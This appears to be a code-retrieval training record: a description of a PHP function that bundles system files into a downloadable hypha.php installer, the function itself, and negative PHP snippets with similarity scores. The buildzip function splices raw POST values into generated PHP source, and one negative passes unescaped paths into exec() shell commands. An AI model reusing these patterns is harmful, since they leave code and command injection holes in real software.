'sources_custom/geshi/bascomavr.php',\n 'sources_custom/geshi/c_loadrunner.php',\n 'sources_custom/geshi/c_winapi.php',\n 'sources_custom/geshi/chaiscript.php',\n 'sources_custom/geshi/chapel.php',\n 'sources_custom/geshi/coffeescript.php',\n 'sources_custom/geshi/cpp-winapi.php',\n 'sources_custom/geshi/dart.php',\n 'sources_custom/geshi/dcl.php',\n 'sources_custom/geshi/dcpu16.php',\n 'sources_custom/geshi/e.php',\n 'sources_custom/geshi/ecmascript.php',\n 'sources_custom/geshi/epc.php',\n 'sources_custom/geshi/euphoria.php',\n 'sources_custom/geshi/ezt.php',\n 'sources_custom/geshi/f1.php',\n 'sources_custom/geshi/falcon.php',\n 'sources_custom/geshi/freeswitch.php',\n 'sources_custom/geshi/genie.php',\n 'sources_custom/geshi/go.php',\n 'sources_custom/geshi/gwbasic.php',\n 'sources_custom/geshi/haxe.php',\n 'sources_custom/geshi/hicest.php',\n 'sources_custom/geshi/html5.php',\n 'sources_custom/geshi/icon.php',\n 'sources_custom/geshi/ispfpanel.php',\n 'sources_custom/geshi/j.php',\n 'sources_custom/geshi/jcl.php',\n 'sources_custom/geshi/lb.php',\n 'sources_custom/geshi/ldif.php',\n 'sources_custom/geshi/llvm.php',\n 'sources_custom/geshi/magiksf.php',\n 'sources_custom/geshi/modula2.php',\n 'sources_custom/geshi/nagios.php',\n 'sources_custom/geshi/netrexx.php',\n 'sources_custom/geshi/nginx.php',\n 'sources_custom/geshi/nimrod.php',\n 'sources_custom/geshi/objeck.php',\n 'sources_custom/geshi/octave.php',\n 'sources_custom/geshi/oorexx.php',\n 'sources_custom/geshi/oxygene.php',\n 'sources_custom/geshi/oz.php',\n 'sources_custom/geshi/parasail.php',\n 'sources_custom/geshi/parigp.php',\n 'sources_custom/geshi/pcre.php',\n 'sources_custom/geshi/pf.php',\n 'sources_custom/geshi/pli.php',\n 'sources_custom/geshi/postgresql.php',\n 'sources_custom/geshi/postscript.php',\n 'sources_custom/geshi/proftpd.php',\n 'sources_custom/geshi/pycon.php',\n 'sources_custom/geshi/pys60.php',\n 'sources_custom/geshi/q.php',\n 'sources_custom/geshi/qml.php',\n 'sources_custom/geshi/racket.php',\n 'sources_custom/geshi/rbs.php',\n 'sources_custom/geshi/rexx.php',\n 'sources_custom/geshi/rpmspec.php',\n 'sources_custom/geshi/rust.php',\n 'sources_custom/geshi/scl.php',\n 'sources_custom/geshi/spark.php',\n 'sources_custom/geshi/sparql.php',\n 'sources_custom/geshi/standardml.php',\n 'sources_custom/geshi/stonescript.php',\n 'sources_custom/geshi/unicon.php',\n 'sources_custom/geshi/upc.php',\n 'sources_custom/geshi/urbi.php',\n 'sources_custom/geshi/uscript.php',\n 'sources_custom/geshi/vala.php',\n 'sources_custom/geshi/vbscript.php',\n 'sources_custom/geshi/vedit.php',\n 'sources_custom/geshi/xbasic.php',\n 'sources_custom/geshi/yaml.php',\n 'sources_custom/geshi/zxbasic.php',\n );\n }", "function fs_get_tree($dir_path) {\n #echo \"top of fs_get_tree, dir_path=$dir_path\\n\";\n { $old_cwd = getcwd();\n chdir($dir_path);\n #echo \" did chdir to '$dir_path'\\n\";\n\n {\n $fh = opendir('.');\n #echo \" opendir\\n\";\n\n $results = array();\n $n = 0;\n $dirs_to_crawl = array();\n while (true) {\n #echo \" loop\\n\";\n if ($n > 500) {\n #echo \"--- n > LIMIT (n=$n), break\\n\";\n break;\n }\n $n++;\n $file = readdir($fh);\n #echo \" file = '$file'\\n\";\n if (!$file) {\n break;\n }\n if ($file == '.'\n || $file == '..'\n || $file == '.git' #todo #fixme don't assume\n ) {\n #echo \"--- . or .., continuing\\n\";\n continue;\n }\n if (is_dir($file)) {\n #echo \"--- adding $file to dirs, n=$n\\n\";\n $dirs_to_crawl[] = $file;\n }\n $results[$file] = null;\n }\n closedir($fh);\n }\n\n #echo \"\\nnow looping thru dirs_to_crawl\\n\";\n foreach ($dirs_to_crawl as $dir) {\n #echo \" dir = $dir\\n\";\n $results[$dir] = fs_get_tree($dir);\n }\n\n chdir($old_cwd);\n }\n\n return $results;\n }", "public function getFileList()\r\n {\r\n $gid = $this->input->get_post('gid');\r\n if ($gid === FALSE)\r\n {\r\n // list all groups (by permission)\r\n $permission = $this->input->get_post('permission');\r\n $file_list = $this->_get_group_list($permission);\r\n $access_full_path = '';\r\n }\r\n else\r\n {\r\n // check permission\r\n $this->_check_group_permission();\r\n $access_full_path = $this->_get_access_full_path();\r\n $sortby = $this->input->get_post('sortby') ?: '+name';\r\n $file_list = $this->files_model->get_file_list($access_full_path, $sortby);\r\n }\r\n\r\n $format = $this->input->get_post('format');\r\n if ($format === 'jstree')\r\n {\r\n //$path = '/' . trim($this->input->get_post('path') ?: '', '/');\r\n $path = $this->input->get_post('path');\r\n $path = $path ? $path : '';\r\n $dironly = $this->input->get_post('dironly');\r\n $tree = array();\r\n foreach ($file_list as $file)\r\n {\r\n if ($dironly && $file['type'] === Files_model::FILE_TYPE_FILE)\r\n {\r\n continue;\r\n }\r\n // Give different directory icons based directories.\r\n $is_my_workspace = 0;\r\n if ($gid)\r\n {\r\n $is_my_workspace = $this->_is_my_workspace($gid);\r\n }\r\n else\r\n {\r\n $is_my_workspace = $this->_is_my_workspace($file['gid']);\r\n }\r\n $access_full_subpath = $access_full_path .'/'. $file['name'];\r\n\r\n $data_path = $file['type'] === Files_model::FILE_TYPE_FOLDER ? $path . '/' . $file['name'] : $path;\r\n if ($gid !== FALSE && $path === '' && $file['type'] === Files_model::FILE_TYPE_FOLDER)\r\n {\r\n $file['show_name'] = $this->files_model->get_system_folder_name($file['name']);\r\n }\r\n $tree[] = array(\r\n 'data' => array(\r\n 'title' => isset($file['show_name']) ? $file['show_name'] : $file['name'],\r\n 'attr' => array(\r\n 'href' => '#',\r\n ),\r\n ),\r\n 'attr' => array(\r\n 'data-name' => $file['name'],\r\n 'data-gid' => $gid === FALSE ? $file['gid'] : $gid,\r\n 'data-path' => $gid === FALSE ? '' : $data_path,\r\n 'data-size' => $file['size'],\r\n 'data-crumb'=> $file['type'] == Files_model::FILE_TYPE_FOLDER ? $this->login->get_crumb($access_full_subpath) : '',\r\n 'class' => $file['type'] == Files_model::FILE_TYPE_FOLDER ? 'folder' : 'file',\r\n 'rel' => $is_my_workspace ? 'user-folder' : 'folder',\r\n ),\r\n 'state' => $file['type'] == Files_model::FILE_TYPE_FOLDER ? 'closed' : '',\r\n );\r\n }\r\n $this->_outputJSON($tree);\r\n }\r\n\r\n $resp['status'] = 'ok';\r\n $resp['errno'] = $resp['errmsg'] = '';\r\n $resp['list'] = $file_list;\r\n $this->_outputJSON($resp);\r\n }" ]
[ "0.60269266", "0.5949143", "0.58472645", "0.5707478", "0.5705214", "0.569494", "0.5678531", "0.56539243", "0.56381667", "0.55899674", "0.55722976", "0.5549382", "0.5529906", "0.55294245", "0.55207664", "0.551794", "0.5513688", "0.5500355", "0.5496562", "0.5441807", "0.54316515", "0.5417024", "0.54099125", "0.5376482", "0.53537774", "0.53404963", "0.5336317", "0.5319596", "0.5301832", "0.52954143", "0.5291531", "0.5276184", "0.5275732", "0.52743864", "0.5272039", "0.52483594", "0.5240864", "0.52379316", "0.52341807", "0.5223887", "0.5217944", "0.5214851", "0.52059966", "0.5201062", "0.519007", "0.5167844", "0.51663315", "0.5162404", "0.5160512", "0.51600957", "0.514491", "0.5136292", "0.5131898", "0.5130853", "0.5110687", "0.510395", "0.5102817", "0.50964797", "0.50937015", "0.5079569", "0.5064107", "0.50538856", "0.5052472", "0.5049016", "0.503772", "0.5036556", "0.5036004", "0.5027802", "0.5022854", "0.50189877", "0.50163263", "0.5002134", "0.4998163", "0.49978837", "0.49945205", "0.49940568", "0.49929363", "0.49924004", "0.49918467", "0.49850658", "0.4980569", "0.4978471", "0.49765167", "0.49750403", "0.49728125", "0.4971453", "0.49707586", "0.49698898", "0.49696216", "0.4964892", "0.496391", "0.4963274", "0.49630398", "0.49508533", "0.49380058", "0.49372616", "0.493705", "0.4935361", "0.49313095", "0.49304396" ]
0.6792
0
/ Function: buildzip builds a hypha.php containing all system files as zipped strings and sends it to client for download
function buildzip() { // make list of files to include $files = array_keys(index()); foreach($_POST as $p => $v) if (substr($p, 0, 6) == 'build_') $files[] = substr($p, 6).'.php'; // get the base script to modify $hypha = file_get_contents('hypha.php'); // insert superuser name and password $hypha = preg_replace('/\$username = \'.*?\';/', '\$username = \''.$_POST['username'].'\';', $hypha); $hypha = preg_replace('/\$password = \'.*?\';/', '\$password = \''.$_POST['password'].'\';', $hypha); // build data library of zipped files to include $data = " //START_OF_DATA\n"; $data .= ' case \'index\': $zip = "'.base64_encode(gzencode(implode(',', array_keys(index())), 9)).'"; break;'."\n"; foreach ($files as $file) $data.= ' case \''.$file.'\': $zip = "'.base64_encode(gzencode(file_get_contents($file), 9)).'"; break;'."\n"; $data .= " //END_OF_DATA\n"; // include data library $hypha = preg_replace('#^\t*//START_OF_DATA\n.*//END_OF_DATA\n#ms', $data, $hypha); // push script to client header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="hypha.php"'); echo $hypha; exit; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function build_zip() {\n\n\t\t$file_uploads = isset($_POST['file_uploads']) ? $_POST['file_uploads'] : '';\n\n\t\t$all_file_paths = array();\n\t\tif($file_uploads){\n\t\t\tforeach ($file_uploads as $key => $id) {\n\t\t\t\t$post_thumbnail_id = get_post_thumbnail_id( $id );\n\t\t\t\t$file_path = get_attached_file( $post_thumbnail_id ); \n\n\t\t\t\tif( file_exists( $file_path ) ){\n\t\t\t\t\t$all_file_paths[] = $file_path;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n \tini_set('max_execution_time', 0);\n\n \t$file_name = time() . '_all_banners.zip';\n \t$dirname = ABSPATH . trailingslashit( get_option('upload_path') ) . 'zip_downloads';\n\n \tif ( !is_dir( $dirname ) )\n \t\tmkdir( $dirname, 0777, true );\n\n \t$zip_path = $dirname . '/' . $file_name;//location of zip on server. set in construct\n\n \t$files_to_zip = $all_file_paths;\n\n \tif( count( $files_to_zip ) ){//check we have valid files\n\n\t \t$zip = new ZipArchive;\n\t \t$opened = $zip->open( $zip_path, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE );\n\n\t \tif( $opened !== true ){\n\t\n\t \tdie(\"cannot open file.zip for writing. Please try again in a moment.\");\n\t\n\t \t}//endif\n\t\n\t \tforeach ( $files_to_zip as $file ) {\n\t\n\t \t$short_name = basename( $file );\n\t \t$zip->addFile( $file, $short_name );\n\t\n\t }//end foreach\n\n \t\t$zip->close();\n\n \t}//endif\n\n \t\t$download_link = trailingslashit( get_site_url() ) . trailingslashit( get_option('upload_path') ) . 'zip_downloads'. '/' . $file_name;\n \t\techo $download_link;\n\n \tdie();\n\n\t}", "public function GenerateZipArchive(){\n $datetime = new DateTime();\n $timestamp = $datetime->getTimestamp();\n $zip = new ZipArchive();\n $zip_file_path = '../storage/app/public/media/DECIMER_results_' . $timestamp . '.zip';\n if ($zip->open($zip_file_path, ZipArchive::CREATE)!==TRUE) {\n exit(\"Cannot open <$zip_file_path>\\n\");\n }\n return [$zip, $zip_file_path];\n }", "function generate_zip($filename){\n\n try {\n $filename = $this->parent_dir() . ($filename);\n\t\t\t@unlink($filename);\n \n\t\t\t$zip = new ZipArchive();\n\t\t\t$ret = $zip->open($filename, ZipArchive::CREATE );\t\t\t\n\t\t\t$files = glob( $this->working_dir .'page*' );\n foreach($files as $fn){\n $zip->addFile($fn,basename($fn));\n }\n\n $zip->close();\n \n return $filename;\n } catch (Exception $ex){\n error_log($ex->getMessage() );\n }\n }", "public function createZipFileFromExtensionGeneratesCorrectArchive() {}", "protected function compile() {\n\t\tglobal $objPage;\n\n\t\t$downloadPath = TL_ROOT.'/web/bundles/siowebdownloadfolder/downloads/';\n\t\t$downloadFile = 'bundles/siowebdownloadfolder/downloads/'.$this->downloadFileTitle.'.zip';\n\n\t\tif(is_file($downloadFile)) {\n\t\t\tunlink($downloadFile);\n\t\t}\n\t\t\n\t\t$files = array();\n\t\t$auxDate = array();\n\n\t\t$objFiles = $this->objFiles;\n\t\t$allowedDownload = trimsplit(',', strtolower($GLOBALS['TL_CONFIG']['allowedDownload']));\n\n\t\tif(!is_dir($downloadPath)) {\n\t\t\tSystem::log('Try to Zip files, can\\'t find folder \\'dowloads\\' in '.TL_ROOT.'/bundles/siowebdownloadfolder/','compile ZIP-Download',false);\n\t\t\treturn false;\n\t\t}\n\t\tif(!$this->downloadFileTitle) {\n\t\t\tSystem::log('No downloadfile-title found, please add a filename.','compile ZIP-Download',false);\n\t\t\treturn false;\n\t\t}\n\n\t\t// Get all files\n\t\twhile($objFiles->next()) {\n\t\t\t// Continue if the files has been processed or does not exist\n\t\t\tif(isset($files[$objFiles->path]) || !file_exists(TL_ROOT . '/' . $objFiles->path))\n\t\t\t\tcontinue;\n\n\t\t\t// Single files\n\t\t\tif($objFiles->type == 'file') {\n\t\t\t\t$objFile = new \\File($objFiles->path, true);\n\n\t\t\t\tif(!in_array($objFile->extension, $allowedDownload) || preg_match('/^meta(_[a-z]{2})?\\.txt$/', $objFile->basename)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t$Pathinfo = pathinfo($objFiles->path);\n\t\t\t\t/* The Zip-Path D: */\n\t\t\t\t// echo \"cd '\".TL_ROOT.\"/\".$Pathinfo['dirname'].\"' && ls -la && zip \\\"\".TL_ROOT.\"/web/\".$downloadFile.\"\\\" \\\"\".$Pathinfo['basename'].\"\\\"<br>\";\n\t\t\t\t// echo '<pre>'.print_r($Pathinfo,1).'</pre>';\n\t\t\t\texec(\"cd '\".TL_ROOT.\"/\".$Pathinfo['dirname'].\"' && ls -la && zip \\\"\".TL_ROOT.\"/web/\".$downloadFile.\"\\\" \\\"\".$Pathinfo['basename'].\"\\\"\",$var);\n\t\t\t\t// echo 'Dirname: '.$Pathinfo['dirname'].'<br>';\n\t\t\t\t// echo '<pre>'.print_r($var,1).'</pre>';\n\t\t\t} else {\n\t\t\t\t$objSubfiles = \\FilesModel::findByPid($objFiles->uuid);\n\t\t\t\t\n\t\t\t\tif($objSubfiles === null) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\twhile($objSubfiles->next()) {\n\t\t\t\t\tif(isset($files[$objFiles->path]) || !file_exists(TL_ROOT . '/' . $objFiles->path)) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$Pathinfo = pathinfo($objSubfiles->path);\n\t\t\t\t\t/* The Zip-Path D: */\n\t\t\t\t\t// echo \"cd '\".TL_ROOT.\"/\".$Pathinfo['dirname'].\"' && ls -la && zip \\\"\".TL_ROOT.\"/web/\".$downloadFile.\"\\\" \\\"\".$Pathinfo['basename'].\"\\\"<br>\";\n\t\t\t\t\t// echo '<pre>'.print_r($Pathinfo,1).'</pre>';\n\t\t\t\t\texec(\"cd '\".TL_ROOT.\"/\".$Pathinfo['dirname'].\"' && ls -la && zip \\\"\".TL_ROOT.\"/web/\".$downloadFile.\"\\\" \\\"\".$Pathinfo['basename'].\"\\\"\",$var);\n\t\t\t\t\t// echo 'Dirname: '.$Pathinfo['dirname'].'<br>';\n\t\t\t\t\t// echo '<pre>'.print_r($var,1).'</pre>';\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$this->Template->title = $this->Template->link = $this->Template->name = $this->downloadFileTitle;\n\t\t$this->Template->href = $downloadFile;\n\t\t$this->Template->icon = TL_ASSETS_URL . 'assets/contao/images/iconRAR.gif';\n\t\t$this->Template->extension = 'zip';\n\t\t$this->Template->mime = 'application/zip';\n\t\t$this->Template->path = $newDownloadPath;\n\t}", "public function getZippedfile() {\r\n\r\n $data = implode(\"\", $this -> compressedData); \r\n $controlDirectory = implode(\"\", $this -> centralDirectory); \r\n\r\n return \r\n $data. \r\n $controlDirectory. \r\n $this -> endOfCentralDirectory. \r\n pack(\"v\", sizeof($this -> centralDirectory)). \r\n pack(\"v\", sizeof($this -> centralDirectory)). \r\n pack(\"V\", strlen($controlDirectory)). \r\n pack(\"V\", strlen($data)). \r\n \"\\x00\\x00\"; \r\n }", "function makeZip ($zip_name, $array_to_zip) {\n global $wpdb;\n $upload_dir = wp_upload_dir();\n $zip = new ZipArchive();\n // On crée l’archive.\n $archive_name = $zip_name . '.zip';\n \n $return = '';\n $error = '';\n foreach ($array_to_zip as $post_type => $post) {\n if ('attachement' == $post_type) {\n $sql = 'SELECT `ID`, `guid`\n FROM `' . $wpdb->prefix . 'posts`\n WHERE `ID` IN (' . implode(',', $array_to_zip[$post_type]) . ')\n AND `post_type` = \"' . $post_type . '\"';\n $results = $wpdb->get_results($sql);\n \n if (0 < $wpdb->num_rows) {\n if ($zip->open($upload_dir['basedir'] . '/' . $archive_name, ZipArchive::CREATE) == TRUE) {\n // echo 'Zip.zip ouvert';\n foreach ($results as $result) {\n $file = str_replace($upload_dir['baseurl'], $upload_dir['basedir'], $result->guid);\n $file = str_replace('\\\\', '/', $file);\n $file_title = basename($file);\n setlocale(LC_ALL, 'fr_FR.UTF-8');\n $file_title = iconv('UTF-8', 'ASCII//TRANSLIT', $file_title);\n $zip->addFile($file, $file_title);\n }\n $zip->close();\n\n $return = $upload_dir['baseurl'] . '/' . $archive_name;\n } else {\n $error .= 'no-open-archive';\n // Traitement des erreurs avec un switch(), par exemple.\n }\n } else {\n $error .= 'no-files-in-db';\n }\n } else {\n $sql = 'SELECT `ID`, `post_title`, `post_content`, `guid`\n FROM `' . $wpdb->prefix . 'posts`\n WHERE `ID` IN (' . implode(',', $array_to_zip[$post_type]) . ')\n AND `post_type` = \"' . $post_type . '\"';\n $results = $wpdb->get_results($sql);\n \n if (0 < $wpdb->num_rows) {\n if (file_exists($upload_dir['basedir'] . '/' . $archive_name)) {\n $open_zip = $zip->open($upload_dir['basedir'] . '/' . $archive_name);\n } else {\n $open_zip = $zip->open($upload_dir['basedir'] . '/' . $archive_name, ZipArchive::CREATE);\n }\n if ($open_zip == TRUE) {\n foreach ($results as $result) {\n $url = ajouterParametreGET($result->guid, 'is_print', 'yes');\n $html = file_get_contents(html_entity_decode($url));\n setlocale(LC_ALL, 'fr_FR.UTF-8');\n $title = iconv('UTF-8', 'ASCII//TRANSLIT', $result->post_title);\n $title = preg_replace(\"#['\\\"\\r\\n]#\", ' ', $title);\n $title = preg_replace(\"#\\s+#\", ' ', $title);\n $zip->addFromString($result->ID . ' - ' . $title . '.html', $html);\n }\n $zip->close();\n $return = $upload_dir['baseurl'] . '/' . $archive_name;\n // error_log($return);\n } else {\n $error .= 'no-open-archive';\n // Traitement des erreurs avec un switch(), par exemple.\n }\n }else {\n $error .= 'no-articles-in-db';\n }\n }\n }\n if ('' == $error) {\n echo $return;\n } else {\n echo $error;\n }\n}", "function zip_download ($array)\r\n{\r\n\tglobal $_course;\r\n\tglobal $dropbox_cnf;\r\n\tglobal $_user;\r\n\tglobal $files;\r\n\t\r\n\t$sys_course_path = api_get_path(SYS_COURSE_PATH);\r\n\t\r\n\t// zip library for creation of the zipfile\r\n\tinclude(api_get_path(LIBRARY_PATH).\"/pclzip/pclzip.lib.php\");\r\n\r\n\t// place to temporarily stash the zipfiles\r\n\t$temp_zip_dir = api_get_path(SYS_COURSE_PATH).$_course['path'].\"/temp/\";\r\n\r\n\t// create the directory if it does not exist yet.\r\n\tif(!is_dir($temp_zip_dir))\r\n\t{\r\n\t\tmkdir($temp_zip_dir);\r\n\t}\r\n\r\n\tcleanup_temp_dropbox();\r\n\r\n\t$files='';\r\n\r\n\t// note: we also have to add the check if the user has received or sent this file. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\t$sql=\"SELECT distinct file.filename, file.title, file.author, file.description\r\n\t\t\tFROM \".$dropbox_cnf[\"tbl_file\"].\" file, \".$dropbox_cnf[\"tbl_person\"].\" person\r\n\t\t\tWHERE file.id IN (\".implode(', ',$array).\")\r\n\t\t\tAND file.id=person.file_id\r\n\t\t\tAND person.user_id='\".$_user['user_id'].\"'\";\r\n\t$result=api_sql_query($sql,__FILE__,__LINE__);\r\n\twhile ($row=mysql_fetch_array($result))\r\n\t{\r\n\t\t$files[$row['filename']]=array('filename'=>$row['filename'],'title'=>$row['title'], 'author'=>$row['author'], 'description'=>$row['description']);\r\n\t}\r\n\r\n\t//$alternative is a variable that uses an alternative method to create the zip\r\n\t// because the renaming of the files inside the zip causes error on php5 (unexpected end of archive)\r\n\t$alternative=true;\r\n\tif ($alternative)\r\n\t{\r\n\t\tzip_download_alternative($files);\r\n\t\texit;\r\n\t}\r\n\r\n\t// create the zip file\r\n\t$temp_zip_file=$temp_zip_dir.'/dropboxdownload-'.$_user['user_id'].'-'.mktime().'.zip';\r\n\t$zip_folder=new PclZip($temp_zip_file);\r\n\r\n\tforeach ($files as $key=>$value)\r\n\t{\r\n\t\t// met hernoemen van de files in de zip\r\n\t\t$zip_folder->add(api_get_path(SYS_COURSE_PATH).$_course['path'].\"/dropbox/\".$value['filename'],PCLZIP_OPT_REMOVE_PATH, api_get_path(SYS_COURSE_PATH).$_course['path'].\"/dropbox\", PCLZIP_CB_PRE_ADD, 'my_pre_add_callback');\r\n\t\t// zonder hernoemen van de files in de zip\r\n\t\t//$zip_folder->add(api_get_path(SYS_COURSE_PATH).$_course['path'].\"/dropbox/\".$value['filename'],PCLZIP_OPT_REMOVE_PATH, api_get_path(SYS_COURSE_PATH).$_course['path'].\"/dropbox\");\r\n\t}\r\n\r\n\t// create the overview file\r\n\t$overview_file_content=generate_html_overview($files, array('filename'), array('title'));\r\n\t$overview_file=$temp_zip_dir.'/overview.html';\r\n\t$handle=fopen($overview_file,'w');\r\n\tfwrite($handle,$overview_file_content);\r\n\r\n\r\n\t// send the zip file\r\n\tDocumentManager::file_send_for_download($temp_zip_file,true,$name);\r\n\texit;\r\n}", "protected function prepareSequenzes ($blZip = true) {\n if (!MLCache::gi()->exists($this->sCacheName)) {\n $this->blUseZip = false;\n if ($blZip && class_exists('ZipArchive', false)) {\n try {\n if (count(\n MLHelper::getFilesystemInstance()\n ->rm($this->getPath('zip'))\n ->write($this->getPath('zip'))\n ->readDir($this->getPath('zip').'/', array())\n ) == 0\n ) {\n try {\n $sBuild = MLSetting::gi()->get('sClientBuild');\n } catch (Exception $ex) {\n $sBuild = '';\n }\n foreach (array(\n 'files.list?format=zip&build='.$sBuild => '__plugin', \n 'external.list?format=zip&shopsystem='.MLShop::gi()->getShopSystemName().'&build='.$sBuild => '__external'\n ) as $sRequest => $sType) {\n MLLog::gi()->add('update', array('METHOD' => __METHOD__, 'LINE(start: $sType = '.$sType.')' => __LINE__, '$sRequest' => $sRequest));\n @set_time_limit(60 * 10); // 10 minutes\n $sZipName = 'updater'.$sType.'.zip';\n MLCache::gi()->delete($sZipName);\n $warnings = null;\n MLLog::gi()->add('update', array('METHOD' => __METHOD__, 'LINE(start-zip: $sType = '.$sType.')' => __LINE__));\n $sContent = MLHelper::gi('remote')->fileGetContents($this->getPath('server').$sRequest, $warnings, 20);\n MLCache::gi()->set($sZipName, $sContent, 60);\n $oZip = new ZipArchive();\n $oZip->open(MLFilesystem::getCachePath('updater'.$sType.'.zip'));\n @set_time_limit(60 * 10); // 10 minutes\n $oZip->extractTo($this->getPath('zip').$sType);\n $oZip->close();\n if (count(MLHelper::getFilesystemInstance()->readDir($this->getPath('zip').'/'.$sType.'/', array())) < 1) {\n throw new Exception('Problems with archiv files.', 1462872613);\n }\n MLLog::gi()->add('update', array('METHOD' => __METHOD__, 'LINE(end-zip: $sType = '.$sType.')' => __LINE__));\n MLLog::gi()->add('update', array('METHOD' => __METHOD__, 'LINE(end: $sType = '.$sType.')' => __LINE__, '$sRequest' => $sRequest));\n }\n @set_time_limit(60 * 10); // 10 minutes\n MLLog::gi()->add('update', array('METHOD' => __METHOD__, 'LINE(start: rm-__plugin-start)' => __LINE__));\n $this->rm(array('dst' => $this->getPath('staging').'/__plugin/'));// in zip mode dont scan staging again - all data comes from zip\n MLLog::gi()->add('update', array('METHOD' => __METHOD__, 'LINE(end: rm-__plugin-start)' => __LINE__));\n $this->blUseZip = true;\n }\n } catch (Exception $oEx) {\n// echo $oEx->getMessage();\n }\n }\n $aMerged = array();\n foreach(array('server', 'plugin', 'staging') as $sFolder ) {\n MLLog::gi()->add('update', array('METHOD' => __METHOD__, 'LINE(start: $sFolder = '.$sFolder.')' => __LINE__));\n @set_time_limit(60 * 10); // 10 minutes\n if ($this->blUseZip == true && $sFolder == 'plugin') {// add customer and dev-module to staging, plugin dont have external files\n foreach ($this->aCopyLocal2Staging as $sCopyLocal2Staging) {\n $aPluginOrExtenal = MLHelper::gi('remote')->getFileList(MLFilesystem::getLibPath($sCopyLocal2Staging));\n foreach ($aPluginOrExtenal['__plugin'] as $sFolderFileIdent => $aFolderFilesData) {\n $aMerged[$sCopyLocal2Staging.$sFolderFileIdent]['plugin'] = array(\n 'src' => $sCopyLocal2Staging.$aFolderFilesData['src'],\n 'dst' => $sCopyLocal2Staging.$aFolderFilesData['dst'],\n 'hash' => $aFolderFilesData['hash'],\n );\n }\n $aMerged[$sCopyLocal2Staging]['plugin'] = array(\n 'src' => $sCopyLocal2Staging,\n 'dst' => $sCopyLocal2Staging,\n 'hash' => 0,\n );\n }\n } else {\n foreach (MLHelper::gi('remote')->getFileList($this->getPath($sFolder)) as $aPluginOrExtenal) {\n foreach ($aPluginOrExtenal as $sIdentPath => $aData) {\n if ($sIdentPath == '__/') { // path dont comes from server.lst, but path is part of plugin\n continue;\n }\n $aMerged[$sIdentPath][$sFolder] = $aData;\n }\n }\n }\n MLLog::gi()->add('update', array('METHOD' => __METHOD__, 'LINE(end: $sFolder = '.$sFolder.')' => __LINE__));\n }\n foreach ($this->aCopyLocal2Staging as $sCopyLocal2Staging) {\n $aPluginOrExtenal = MLHelper::gi('remote')->getFileList(MLFilesystem::getLibPath($sCopyLocal2Staging));\n foreach ($aPluginOrExtenal['__plugin'] as $sFolderFileIdent => $aFolderFilesData) {\n $aMerged[$sCopyLocal2Staging.$sFolderFileIdent]['server'] = array(\n 'src' => $sCopyLocal2Staging.$aFolderFilesData['src'],\n 'dst' => $sCopyLocal2Staging.$aFolderFilesData['dst'],\n 'hash' => $aFolderFilesData['hash'],\n );\n }\n $aMerged[$sCopyLocal2Staging]['server'] = array(\n 'src' => $sCopyLocal2Staging,\n 'dst' => $sCopyLocal2Staging,\n 'hash' => 0,\n );\n }\n \n /* @var $aSequences output array */\n $aSequences = array();\n \n //prefill actions\n foreach (array(\n 'staging', // (server||plugin) => staging\n 'plugin', // staging => plugin\n ) as $sDstType) {\n $aSequences[$sDstType] = array(\n '' => array(), // do nothing just statistic\n 'mkdir' => array(), // create folders before copy\n 'cp' => array(),\n 'rm' => array(),\n 'rmdir' => array(), // delete folders afer delete files\n );\n }\n foreach ($aMerged as $sIdentPath => &$aFolderData) {\n \n // check ignore patterns\n foreach($this->aIgnorePatterns as $sPattern){\n if(preg_match('/'.$sPattern.'/Uis', $sIdentPath)){\n continue 2;\n }\n }\n \n // fill plugin data dynamicly, plugin dont know external files before\n $this->addPluginDataDynamicly($aFolderData, $sIdentPath);\n \n // (plugin || server) => staging\n $aStaging = $this->calcStagingSequence($aFolderData, $sIdentPath);\n if ($this->blDebug) {\n $aStaging['data']['data'] = $aFolderData;\n }\n $aSequences['staging'][$aStaging['action']][$sIdentPath] = $aStaging['data'];\n \n // now staging is equal to server\n if (isset($aFolderData['server'])) {\n $aFolderData['staging'] = $aFolderData['server'];\n }\n \n // staging => plugin\n $aPlugin = $this->calcPluginSequence($aFolderData, $sIdentPath);\n if ($this->blDebug) {\n $aPlugin['data']['data'] = $aFolderData;\n }\n $aSequences['plugin'][$aPlugin['action']][$sIdentPath] = $aPlugin['data'];\n }\n //sorting\n foreach ($aSequences as $sSequence => $aSequence) {\n if (isset($aSequence['mkdir'])) { // create dirs ascending\n ksort($aSequences[$sSequence]['mkdir']);\n }\n if (isset($aSequence['rmdir'])) { // delete dirs descending\n krsort($aSequences[$sSequence]['rmdir']);\n }\n }\n foreach ($aSequences as $sSequence => $aSequence) {\n foreach ($aSequence as $sSequenceType => $aSequenceData) { // remote actions\n if (!empty($sSequenceType)) {\n foreach ($aSequenceData as $sActionIdent => $aActionData) {\n if (strpos($sActionIdent, '__/') === 0) {\n $this->aMeta['remoteActions'][$sSequence][$sActionIdent] = array($sSequenceType =>$aActionData);\n }\n }\n }\n }\n }\n $this->aSequences = $aSequences;\n } elseif (empty($this->aSequences)) {// load cached\n $aCached = MLCache::gi()->get($this->sCacheName);\n $this->aSequences = $aCached['sequences'];\n $this->aMeta = $aCached['meta'];\n } \n if (empty($this->aSequences)) {\n MLCache::gi()->delete($this->sCacheName);\n } else {\n MLCache::gi()->set($this->sCacheName, array('sequences' => $this->aSequences, 'meta' => $this->aMeta), 10 * 60);\n }\n return $this;\n }", "private function createZip(){\n $zipper = new \\Chumper\\Zipper\\Zipper;\n $files = glob(public_path('storage/*'));\n $zipper->make(public_path('allImages.zip'))->add($files);\n }", "protected function compile()\n\t{\n#\t\t$objArchive = new \\ZipWriter('system/tmp/'. $strTmp);\n\t\tif(\\Input::Get('download') && FE_USER_LOGGED_IN)\n\t\t{\n\t\t\t$objDownload = $this->Database->prepare(\"SELECT * FROM tl_download_item WHERE id=?\")->execute(\\Input::Get('download'));\n\t\t\t$objFile = \\FilesModel::findByUuid($objDownload->fileSRC);\n\n\t\t\t$this->sendFileToBrowser($objFile->path);\n\t\t}\n\n\t\t$objPage = 